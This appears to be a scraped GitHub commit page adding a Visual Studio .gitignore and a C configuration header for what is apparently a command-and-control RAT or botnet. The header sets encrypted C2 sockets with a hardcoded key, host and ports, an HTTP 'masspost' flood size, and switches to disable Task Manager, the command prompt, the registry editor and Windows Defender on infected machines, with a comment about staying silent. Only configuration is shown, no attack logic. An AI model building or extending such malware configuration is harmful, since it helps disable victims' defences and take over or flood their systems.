-
Notifications
You must be signed in to change notification settings - Fork 7
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
38 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
################################################################################ | ||
# Este archivo .gitignore ha sido creado automáticamente por Microsoft(R) Visual Studio. | ||
################################################################################ | ||
|
||
/.vs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
#pragma once | ||
#define ENCRYPT 1 // Encrypt TCP Sockets between C2 and Client | ||
// 0: No encrypt, 1: Encrypt | ||
#if ENCRYPT | ||
#define PASSWRD "passwordpasswordpasswordpassword" // It must have 16/24/32 length | ||
#endif | ||
|
||
#define HOST_IP "127.0.0.1" // It'll be only used by the client | ||
// It can be an IP or a hostname | ||
|
||
// Used if connect (Client) port varies from the listening (Server) port | ||
// #define DIFF_PORTS | ||
#ifdef DIFF_PORTS | ||
#define SRV_PORT 1200 | ||
#define CLT_PORT 1400 | ||
#else | ||
#define CON_PORT 1400 | ||
#endif | ||
|
||
#define POST_KB 4 // KBs to send in HTTP masspost body | ||
#define DEACT_TASKMGR 0 | ||
#define DEACT_CMD 0 // It also deactivates Run (Win+R) | ||
#define DEACT_REGEDIT 0 | ||
#define DEACT_WINDEF 0 | ||
// 1: Disable the service, 0: Don't do anything | ||
// All need admin, if you want to be silent, set 0 to all | ||
|
||
// MACROS that aren't necessary to change | ||
#define PTXT "PING_TXT" // Ping Text | ||
#define PNOK "PONG_OK" // Pong Text | ||
#define RTTM 5 // Retry Seconds Timeout | ||
#define DELM "," // TCP Delimiter | ||
#define BUF_SZ 1024 // TCP Buffer Size |